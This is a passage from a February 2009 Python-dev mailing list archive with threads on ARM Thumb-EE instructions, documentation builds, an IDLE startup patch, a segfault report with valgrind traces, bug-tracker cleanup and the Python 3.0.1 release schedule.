Cesare Di Mauro wrote:
> It's not useful for CPython, since it's based on a loop which evaluates a bytecode
> at the time.
> 
> You have to rewrite the virtual machine implementing a JIT compiler that
> generates Thumb-EE instructions. But it's a big effort, since ceval.c works in a
> completely different manner.
> 
> I don't know if a form of JIT will be implemented in future CPython
> implementations, but if a step in this direction will be made, writing a back-end
> that uses Thumb-EE will be much easier.

It is beginning to sound like PyPy may be a more appropriate platform
for this experimentation than CPython.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From solipsis at pitrou.net  Wed Feb 11 13:34:16 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 11 Feb 2009 12:34:16 +0000 (UTC)
Subject: [Python-Dev] Python-acceleration instructions on ARM
References: <21947336.post@talk.nabble.com>
	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
	<49927DE6.7030802@v.loewis.de>
Message-ID: <loom.20090211T123157-221@post.gmane.org>

Martin v. L?wis <martin <at> v.loewis.de> writes:
> - efficient array indexing: they give shift-and-index back to
>   Thumb mode, for a shift by 2, allowing to index arrays with
>   4-byte elements in a single instruction (rather than requiring
>   a separate multipy-by-four). Again useful for JIT of array
>   access instructions, not applicable to Python - although it
>   would be nice if the C compiler knew how to emit that.

This could be used in PyTuple_GetItem and PyList_GetItem, no?
(assuming Thumb has 4-byte pointers)



From cesare.dimauro at a-tono.com  Wed Feb 11 13:56:21 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Wed, 11 Feb 2009 13:56:21 +0100
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <loom.20090211T123157-221@post.gmane.org>
References: <21947336.post@talk.nabble.com>
	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
	<49927DE6.7030802@v.loewis.de>
	<loom.20090211T123157-221@post.gmane.org>
Message-ID: <op.uo6t77x803jqhe@cesareprova.org>

Antoine Pitrou <solipsis at pitrou.net> wrote:

> Martin v. L?wis <martin <at> v.loewis.de> writes:
>> - efficient array indexing: they give shift-and-index back to
>>   Thumb mode, for a shift by 2, allowing to index arrays with
>>   4-byte elements in a single instruction (rather than requiring
>>   a separate multipy-by-four). Again useful for JIT of array
>>   access instructions, not applicable to Python - although it
>>   would be nice if the C compiler knew how to emit that.
>
> This could be used in PyTuple_GetItem and PyList_GetItem, no?

Yes, but it's a compiler (Thumb-EE specific back-end) burden.

Otherwise, we can introduce Thumb-EE assembly code were
needed, but the same can happen for a wide range of ISAs.

At least IA32 and AMD64 have specific addressing modes where
it's possibile to use a multiplying factor of 1, 2, 4 or 8 for the
index register.

I hope that compilers were smart enough to already used them.

> (assuming Thumb has 4-byte pointers)

Yes, it does.

Cesare

From amk at amk.ca  Wed Feb 11 15:24:18 2009
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 11 Feb 2009 09:24:18 -0500
Subject: [Python-Dev] Daily documentation builds
In-Reply-To: <ee2a432c0902102116k38a07095q91adeff4d21856b3@mail.gmail.com>
References: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1>
	<ee2a432c0902102116k38a07095q91adeff4d21856b3@mail.gmail.com>
Message-ID: <20090211142418.GA7274@amk-desktop.matrixgroup.net>

On Tue, Feb 10, 2009 at 09:16:48PM -0800, Neal Norwitz wrote:
> I ran 2.6, 3.0, and 3.1 manually.  2.7 should get picked up on the
> next run.  The problem is that regrtest.py -R hangs from time to time
> which caused the machine to run out of memory.  Does anyone else have
> regrtest.py -R hang for them?  Some tests were disabled to try to
> prevent the problem, but it still happens from time to time.

It's also possible that tools/sphinx needs a manual 'svn update'. A
recent change to sphinxext/pyspecific.py imports a new package,
sphinx.builders.  I had to do this to keep my source tree building the
docs.

--amk

From MLMLists at Comcast.net  Wed Feb 11 19:45:14 2009
From: MLMLists at Comcast.net (Mitchell L Model)
Date: Wed, 11 Feb 2009 13:45:14 -0500
Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP on restart
In-Reply-To: <mailman.33.1234177210.24683.python-dev@python.org>
References: <mailman.33.1234177210.24683.python-dev@python.org>
Message-ID: <p06240802c5b64c9b34c1@[10.0.1.221]>

I have a patch for IDLE, but I've never submitted a patch before and 
not quite sure of the procedure, despite reading the guidelines at 
http://www.python.org/dev/patches/. But I'll be brave and persevere. 
The question I have at the moment is should I only submit the patch 
vs. 3.1 or also for 3.0? 2.7? 2.6? 2.5?

The main thing the patch does is:
	modify the subprocess restart procedure so that it reloads 
whatever file, if any, was loaded when IDLE first started and looked 
for IDLESTARTUP then PYTHONSTARTUP environment variables.

In addition:
	a -q option is added for starting IDLE on the command line to 
mean "quiet", as with Emacs, e.g., to suppress loading of IDLESTARTUP 
or PYTHONSTARTUP
	The former effect of -s would now be the default, which is 
desirable so double-clicking an IDLE icon to start it will cause the 
startup file to run.
	-s is changed to take an argument that is an alternate 
startup file to use

I am a bit concerned about changing -s to have a different meaning. 
Perhaps it's better to leave -s as an option that is simplhy 
superfluous and use a different letter for the alternate startup.

Guidance on all of these would be greatly appreciated. The patch 
itself disturbs things in a half-dozen places, but in very minimal 
ways, so it's not quite as easy as saying "add these three lines over 
here". (It was that simple until I started thinking about whether the 
restart should search for IDLESTARTUP/PYTHONSTARTUP again, and 
perhaps encounter a different file than IDLE did on startup [I think 
it shouldn't, but it's not a big deal either way] and if shouldn't, 
then whatever path was originally found has to be stored somewhere 
and used later. That led to the thinking behind the changes to the 
startup switches.


From sushant354 at gmail.com  Wed Feb 11 19:57:46 2009
From: sushant354 at gmail.com (Sushant Sinha)
Date: Wed, 11 Feb 2009 13:57:46 -0500
Subject: [Python-Dev] python seg faults
Message-ID: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com>

I am running Python 2.5.4 compiled with gcc (Gentoo 4.3.2-r2 p1.5,
pie-10.1.5) 4.3.2

My program uses python interface to two C modules namely libnids (pynids)
and adns (adns-python). My program is written all in python. When I run my
program it aborts. Here is the stack when that happens:

#0  0x00007f6cfdb79205 in raise () from /lib64/libc.so.6
#1  0x00007f6cfdb7a723 in abort () from /lib64/libc.so.6
#2  0x00007f6cfdbb4cf8 in ?? () from /lib64/libc.so.6
#3  0x00007f6cfdbba468 in ?? () from /lib64/libc.so.6
#4  0x00007f6cfdbbbfa6 in free () from /lib64/libc.so.6
#5  0x00007f6cfe79dff2 in ?? () from /usr/lib/libpython2.5.so.1.0
#6  0x00007f6cfe7fd736 in PyEval_EvalFrameEx () from
/usr/lib/libpython2.5.so.1.0
#7  0x00007f6cfe7fde7d in PyEval_EvalCodeEx () from
/usr/lib/libpython2.5.so.1.0
#8  0x00007f6cfe79f5ce in ?? () from /usr/lib/libpython2.5.so.1.0
#9  0x00007f6cfe781e27 in PyObject_Call () from /usr/lib/libpython2.5.so.1.0
#10 0x00007f6cfe782187 in ?? () from /usr/lib/libpython2.5.so.1.0
#11 0x00007f6cfe7826c8 in PyObject_CallFunction () from
/usr/lib/libpython2.5.so.1.0
#12 0x00007f6cfd939b41 in callTcpFunc () from
/usr/lib64/python2.5/site-packages/nidsmodule.so
#13 0x00007f6cfd93ebae in process_tcp (data=0x1a2f930 "E", skblen=248) at
tcp.c:805
#14 0x00007f6cfd93bd7a in gen_ip_proc (data=0x1a2f930 "E", skblen=248) at
libnids.c:436
#15 0x00007f6cfd93bbd8 in gen_ip_frag_proc (data=0x1a2f930 "E", len=46) at
libnids.c:388
#16 0x00007f6cfd93b6a3 in call_ip_frag_procs (data=0x1a2f930, caplen=46) at
libnids.c:198
#17 0x00007f6cfd93ba05 in nids_pcap_handler (par=0x0, hdr=0x7fff06cc3500,
data=0x1a2f922 "") at libnids.c:340
#18 0x00007f6cfd7195d9 in pcap_offline_read () from /usr/lib/libpcap.so.1
#19 0x00007f6cfd93c809 in nids_dispatch (cnt=1) at libnids.c:743
#20 0x00007f6cfd939345 in nids_dispatch_exc () from
/usr/lib64/python2.5/site-packages/nidsmodule.so
#21 0x00007f6cfd93a980 in pynids_run () from
/usr/lib64/python2.5/site-packages/nidsmodule.so
#22 0x00007f6cfe7fcacd in PyEval_EvalFrameEx () from
/usr/lib/libpython2.5.so.1.0
#23 0x00007f6cfe7fde7d in PyEval_EvalCodeEx () from
/usr/lib/libpython2.5.so.1.0
#24 0x00007f6cfe7fe062 in PyEval_EvalCode () from
/usr/lib/libpython2.5.so.1.0
#25 0x00007f6cfe818601 in ?? () from /usr/lib/libpython2.5.so.1.0
#26 0x00007f6cfe8186d6 in PyRun_FileExFlags () from
/usr/lib/libpython2.5.so.1.0
#27 0x00007f6cfe819c6d in PyRun_SimpleFileExFlags () from
/usr/lib/libpython2.5.so.1.0
#28 0x00007f6cfe82337a in Py_Main () from /usr/lib/libpython2.5.so.1.0
#29 0x00007f6cfdb655c6 in __libc_start_main () from /lib64/libc.so.6
#30 0x0000000000400789 in _start ()



When I run under valgrind I see a whole bunch of memory errors. Two of them
are show below.



==26882== Thread 1:
==26882== Invalid free() / delete / delete[]
==26882==    at 0x4C239FF: free (in
/usr/lib64/valgrind/amd64-linux/vgpreload_memcheck.so)
==26882==    by 0x4E84FF1: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4735: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4E7C: PyEval_EvalCodeEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E865CD: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E68E26: PyObject_Call (in /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E69186: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E696C7: PyObject_CallFunction (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x618FB40: callTcpFunc (in
/usr/lib64/python2.5/site-packages/nidsmodule.so)
==26882==    by 0x6194BAD: process_tcp (tcp.c:805)
==26882==    by 0x6191D79: gen_ip_proc (libnids.c:436)
==26882==    by 0x6191BD7: gen_ip_frag_proc (libnids.c:388)
==26882==  Address 0x9195230 is 168,568 bytes inside a block of size 262,144
alloc'd
==26882==    at 0x4C24CFE: malloc (in
/usr/lib64/valgrind/amd64-linux/vgpreload_memcheck.so)
==26882==    by 0x4E9BEE8: PyObject_Malloc (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4F0B468: _PyObject_GC_Malloc (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4F0B55D: _PyObject_GC_NewVar (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EAB313: PyTuple_New (in /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EF9B28: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EFA0A0: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EF9B75: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EFA08A: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EFA755: PyMarshal_ReadObjectFromString (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EFC272: PyMarshal_ReadLastObjectFromFile (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EF453D: (within /usr/lib64/libpython2.5.so.1.0)


==26882== Invalid read of size 4
==26882==    at 0x4E9C20B: PyObject_Realloc (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EA622E: _PyString_Resize (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EDE458: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE3128: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4715: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4715: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4715: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4E7C: PyEval_EvalCodeEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E865CD: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E68E26: PyObject_Call (in /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E69186: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E696C7: PyObject_CallFunction (in
/usr/lib64/libpython2.5.so.1.0)
==26882==  Address 0xb380020 is 280 bytes inside a block of size 1,104
free'd
==26882==    at 0x4C239FF: free (in
/usr/lib64/valgrind/amd64-linux/vgpreload_memcheck.so)
==26882==    by 0x4F14E2B: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4F1A09A: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE3ACC: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4715: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4715: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4715: PyEval_EvalFrameEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4EE4E7C: PyEval_EvalCodeEx (in
/usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E865CD: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E68E26: PyObject_Call (in /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E69186: (within /usr/lib64/libpython2.5.so.1.0)
==26882==    by 0x4E696C7: PyObject_CallFunction (in
/usr/lib64/libpython2.5.so.1.0)


So I am not sure where the error is. Any clue on where the bug possibly may
be: adns-python, pynids or python? Or how I should I go about debugging
this?

-Sushant.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090211/0a381db7/attachment-0001.htm>

From nnorwitz at gmail.com  Wed Feb 11 20:07:31 2009
From: nnorwitz at gmail.com (Neal Norwitz)
Date: Wed, 11 Feb 2009 11:07:31 -0800
Subject: [Python-Dev] Daily documentation builds
In-Reply-To: <20090211142418.GA7274@amk-desktop.matrixgroup.net>
References: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1>
	<ee2a432c0902102116k38a07095q91adeff4d21856b3@mail.gmail.com>
	<20090211142418.GA7274@amk-desktop.matrixgroup.net>
Message-ID: <ee2a432c0902111107i2dee1089i12cfa35179118edd@mail.gmail.com>

On Wed, Feb 11, 2009 at 6:24 AM, A.M. Kuchling <amk at amk.ca> wrote:
> On Tue, Feb 10, 2009 at 09:16:48PM -0800, Neal Norwitz wrote:
>> I ran 2.6, 3.0, and 3.1 manually.  2.7 should get picked up on the
>> next run.  The problem is that regrtest.py -R hangs from time to time
>> which caused the machine to run out of memory.  Does anyone else have
>> regrtest.py -R hang for them?  Some tests were disabled to try to
>> prevent the problem, but it still happens from time to time.
>
> It's also possible that tools/sphinx needs a manual 'svn update'. A
> recent change to sphinxext/pyspecific.py imports a new package,
> sphinx.builders.  I had to do this to keep my source tree building the
> docs.

Ok, I'll take a look later.  Misc/build.sh should be doing a "make
update" which should fix most problems.  There was one problem a while
back I had to fix manually though.  If you see ways to make Misc/build
more robust, feel free to check in changes.  The doc section is at the
bottom of the file.

n

From draghuram at gmail.com  Wed Feb 11 20:07:44 2009
From: draghuram at gmail.com (Raghuram Devarakonda)
Date: Wed, 11 Feb 2009 14:07:44 -0500
Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP on
	restart
In-Reply-To: <p06240802c5b64c9b34c1@10.0.1.221>
References: <mailman.33.1234177210.24683.python-dev@python.org>
	<p06240802c5b64c9b34c1@10.0.1.221>
Message-ID: <2c51ecee0902111107o764af98fs34d2a29737a7b15e@mail.gmail.com>

On Wed, Feb 11, 2009 at 1:45 PM, Mitchell L Model <MLMLists at comcast.net> wrote:
> I have a patch for IDLE, but I've never submitted a patch before and not
> quite sure of the procedure, despite reading the guidelines at
> http://www.python.org/dev/patches/. But I'll be brave and persevere. The
> question I have at the moment is should I only submit the patch vs. 3.1 or
> also for 3.0? 2.7? 2.6? 2.5?

The guidelines listed above clearly state that patches should be sent
relative to the current SVN tree. That would be 2.7, I guess. In
addition, I would suggest uploading the patch to
http://codereview.appspot.com which makes reviewing simpler. Perhaps,
the guidelines page can mention this point.

> Guidance on all of these would be greatly appreciated. The patch itself
> disturbs things in a half-dozen places, but in very minimal ways, so it's

The recommended way is to create a tracker issue (with or without
patch) and send a mail here with the issue link and a brief
description. That will allow interested people to check the issue and
add comments.

Thanks,
Raghu

From martin at v.loewis.de  Wed Feb 11 20:10:24 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Wed, 11 Feb 2009 20:10:24 +0100
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <loom.20090211T123157-221@post.gmane.org>
References: <21947336.post@talk.nabble.com>	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>	<49927DE6.7030802@v.loewis.de>
	<loom.20090211T123157-221@post.gmane.org>
Message-ID: <499322A0.2060505@v.loewis.de>

Antoine Pitrou wrote:
> Martin v. L?wis <martin <at> v.loewis.de> writes:
>> - efficient array indexing: they give shift-and-index back to
>>   Thumb mode, for a shift by 2, allowing to index arrays with
>>   4-byte elements in a single instruction (rather than requiring
>>   a separate multipy-by-four). Again useful for JIT of array
>>   access instructions, not applicable to Python - although it
>>   would be nice if the C compiler knew how to emit that.
> 
> This could be used in PyTuple_GetItem and PyList_GetItem, no?
> (assuming Thumb has 4-byte pointers)

Yes - but it would require an assembly version of these functions;
I'm skeptical that the savings would be measurable (given that there
is also the type check and the range check).

OTOH, PyTuple_GET_ITEM could probably be implemented as
inline assembly.

Regards,
Martin

From martin at v.loewis.de  Wed Feb 11 20:11:38 2009
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2009 20:11:38 +0100
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <op.uo6t77x803jqhe@cesareprova.org>
References: <21947336.post@talk.nabble.com>	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>	<49927DE6.7030802@v.loewis.de>	<loom.20090211T123157-221@post.gmane.org>
	<op.uo6t77x803jqhe@cesareprova.org>
Message-ID: <499322EA.6000900@v.loewis.de>

> At least IA32 and AMD64 have specific addressing modes where
> it's possibile to use a multiplying factor of 1, 2, 4 or 8 for the
> index register.
> 
> I hope that compilers were smart enough to already used them.

For x86, certainly (at least GCC does). For Thumb, certainly not:
the compiler cannot assume that the code is in ThumbEE mode.

Regards,
Martin

From martin at v.loewis.de  Wed Feb 11 20:14:54 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2009 20:14:54 +0100
Subject: [Python-Dev] python seg faults
In-Reply-To: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com>
References: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com>
Message-ID: <499323AE.8080308@v.loewis.de>

> So I am not sure where the error is. Any clue on where the bug possibly
> may be: adns-python, pynids or python? Or how I should I go about
> debugging this?

This is out of scope for python-dev, but I give some clues anyway:

- try finding out what kind of object is being released. Is it a good
  PyObject*? If so, what is its type?
- try running Python in debug mode; this will add additional checks
  on memory sanity.

HTH,
Martin

From ncoghlan at gmail.com  Wed Feb 11 21:10:04 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 12 Feb 2009 06:10:04 +1000
Subject: [Python-Dev] python seg faults
In-Reply-To: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com>
References: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com>
Message-ID: <4993309C.3080003@gmail.com>

Sushant Sinha wrote:
> I am running Python 2.5.4 compiled with gcc (Gentoo 4.3.2-r2 p1.5,
> pie-10.1.5) 4.3.2
> 
> My program uses python interface to two C modules namely libnids
> (pynids) and adns (adns-python). My program is written all in python.
> When I run my program it aborts.

As Martin said, this is off-topic for python-dev until the problem has
been demonstrated to be in the interpreter itself rather than in the
extension modules (mis)use of the interpreter's C API.

Until then, comp.lang.python or the user lists for those two C extension
modules would be a more appropriate place to ask the question.

Cheers,
Nick.

P.S. (From a quick glance at the stack trace, my initial bet would be on
python-nids PCAP handling calling back in to the C API without
reacquiring the GIL first)

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From ajaksu at gmail.com  Wed Feb 11 23:41:55 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Wed, 11 Feb 2009 20:41:55 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>

Hi,

Here's a status report about the digging. Thanks  Benjamin, Antoine,
Martin, Raymond, Guilherme, Georg, Brett, Mark and everyone else for
helping :)

Good:
  Many requested assignments:
    Thanks everyone that asked for bugs. If anyone else wants more,
just let me know :)

  Old issues closed:
    ajaksu2 - 3
    Everyone else - about 14 :)

  Checking and screening:
    > 100 issues on the 'verify and close or update' queue (most of
what is popping up as changed)

Bad:
  Assignment mistakes:
    Two issues reassigned to Brett (from MvL and JvR) because I didn't
see they were already assigned:
http://bugs.python.org/issue1419652 PyImport_AppendInittab stores
pointer to parameter
http://bugs.python.org/issue616247 More documentation for the imp module
    Sorry about that :-/

Over-spammig:
  Sorry, Georg! I only noticed all issues in the Documentation
component are auto-assigned to you today. This meant dozens of unasked
for assignments :-/

Now will I'll start verifying, adding tests, updating or closing as
needed the recently changed old issues, until I've taken a good look
at these. Then, if there's still time left before Saturday, I'll focus
on  verifying/flagging more ancient ones.

during-bug-season-every-day-is-bug-day-ly y'rs,
Daniel

From python at rcn.com  Wed Feb 11 23:52:07 2009
From: python at rcn.com (Raymond Hettinger)
Date: Wed, 11 Feb 2009 14:52:07 -0800
Subject: [Python-Dev] Tracker archeology
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
Message-ID: <10EE36411D1740AA86E526D65FC4E40D@RaymondLaptop1>


[Daniel (ajax) Diniz]
> Now will I'll start verifying, adding tests, updating or closing as
> needed the recently changed old issues, until I've taken a good look
> at these. Then, if there's still time left before Saturday, I'll focus
> on  verifying/flagging more ancient ones.

Thanks for your efforts.


Raymond

From barry at python.org  Thu Feb 12 00:37:17 2009
From: barry at python.org (Barry Warsaw)
Date: Wed, 11 Feb 2009 18:37:17 -0500
Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13
Message-ID: <FD911D69-377A-4BBE-9D52-A8CAECF970B2@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A quick reminder that I am planning to release Python 3.0.1 this  
Friday, February 13.  Thanks to y'all's hard work, we have no  
showstopper bugs at the moment.  The 3.0 buildbots look mostly clean  
and green.

If we can keep it this way for about 24 hours, I will tag the branch  
at about 2300 UTC Thursday February 12 so that Martin can build the  
Windows installers on his Friday morning.  Then Friday evening at  
about 2300 UTC, I will spin the tarballs and make the release.

Cheers,
Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZNhLXEjvBPtnXfVAQKxoQP9HGUioYy3i0Z4glQfRevwJyiIvYqA1cF1
DKHpCn/8eJ/QXJ32Sfh/H2cASpDwkNNQLHrBOnzOPbe4M8ZJisg8bC27g+fTxckZ
5+yUJUTtRxk7/nDwWsS/DAWZ17VT9z8YN43XO2gGhcXw2YYl1Mi7VWvuZed9ojVL
D7Gwy10S+s4=
=RYa0
-----END PGP SIGNATURE-----

From brett at python.org  Thu Feb 12 01:07:19 2009
From: brett at python.org (Brett Cannon)
Date: Wed, 11 Feb 2009 16:07:19 -0800
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
Message-ID: <bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>

2009/2/11 Daniel (ajax) Diniz <ajaksu at gmail.com>

> Hi,
>
> Here's a status report about the digging. Thanks  Benjamin, Antoine,
> Martin, Raymond, Guilherme, Georg, Brett, Mark and everyone else for
> helping :)
>
> Good:
>  Many requested assignments:
>    Thanks everyone that asked for bugs. If anyone else wants more,
> just let me know :)
>
>  Old issues closed:
>    ajaksu2 - 3
>    Everyone else - about 14 :)
>
>  Checking and screening:
>    > 100 issues on the 'verify and close or update' queue (most of
> what is popping up as changed)
>
> Bad:
>  Assignment mistakes:
>    Two issues reassigned to Brett (from MvL and JvR) because I didn't
> see they were already assigned:
> http://bugs.python.org/issue1419652 PyImport_AppendInittab stores
> pointer to parameter
> http://bugs.python.org/issue616247 More documentation for the imp module
>    Sorry about that :-/
>

No big deal.


>
> Over-spammig:
>  Sorry, Georg! I only noticed all issues in the Documentation
> component are auto-assigned to you today. This meant dozens of unasked
> for assignments :-/
>

I think Georg at this point is the only auto-assignment.


>
> Now will I'll start verifying, adding tests, updating or closing as
> needed the recently changed old issues, until I've taken a good look
> at these. Then, if there's still time left before Saturday, I'll focus
> on  verifying/flagging more ancient ones.
>

One thing to keep an eye on for old issues, Daniel, is the Stage field.
Setting that is nice for Bug Days as people can see what issues still need a
test written or could use a review, etc. I have a doc I am writing up at
http://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw which outlines what the
various Stage values should mean. Feedback from you and anybody else is
welcome, although realize it is rough as I was not planning to make this
public quite yet.


>
> during-bug-season-every-day-is-bug-day-ly y'rs,
>

So true. =)

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090211/398a3a66/attachment.htm>

From aahz at pythoncraft.com  Thu Feb 12 01:16:48 2009
From: aahz at pythoncraft.com (Aahz)
Date: Wed, 11 Feb 2009 16:16:48 -0800
Subject: [Python-Dev] python seg faults
In-Reply-To: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com>
References: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com>
Message-ID: <20090212001648.GB23285@panix.com>

One more thing: There's a mailing list specifically for help with C
extensions, capi at python.org
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From jbaker at zyasoft.com  Thu Feb 12 04:36:29 2009
From: jbaker at zyasoft.com (Jim Baker)
Date: Wed, 11 Feb 2009 20:36:29 -0700
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>
	<20090210234620.GB12722@thorne.id.au>
	<94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com>
Message-ID: <d03bb4010902111936w2881683bic6fa5fe66cdb474@mail.gmail.com>

+1 on the cleanup: reading the bug description of
http://bugs.python.org/issue1533164, this will also help Jython. Now I know
why we see scenarios of package with setup.cfg with optimize=1:

Indeed, this is a well-known issue. Many packages put an "optimize=1" in
their setup.cfg in order to solve it.

Unfortunately that breaks the setup process on Jython, since we don't
support -O. And unfortunately it's not as easy to ignore the flag either,
this can then break in other ways.

-  Jim


On Wed, Feb 11, 2009 at 2:08 AM, Tarek Ziad? <ziade.tarek at gmail.com> wrote:

> On Wed, Feb 11, 2009 at 12:46 AM, Stephen Thorne <stephen at thorne.id.au>
> wrote:
> > On 2009-02-10, Tarek Ziad? wrote:
> >> On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz <ajaksu at gmail.com>
> wrote:
> >>
> >> >
> >> > If anyone is interested in being added as nosy for any category of
> >> > bugs, let me know and I'll do that as I scan the tracker.
> >>
> >> I'll take Distutils related issues,
> >
> > If you could look at a solution for http://bugs.python.org/issue1533164
> > I would be eternally grateful.
>
> ok, that would be the next one I am working on in that case,
>
> Regards
> Tarek
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/jbaker%40zyasoft.com
>



-- 
Jim Baker
jbaker at zyasoft.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090211/ecce6684/attachment-0001.htm>

From tjreedy at udel.edu  Thu Feb 12 06:33:40 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 12 Feb 2009 00:33:40 -0500
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <d03bb4010902111936w2881683bic6fa5fe66cdb474@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>	<20090210234620.GB12722@thorne.id.au>	<94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com>
	<d03bb4010902111936w2881683bic6fa5fe66cdb474@mail.gmail.com>
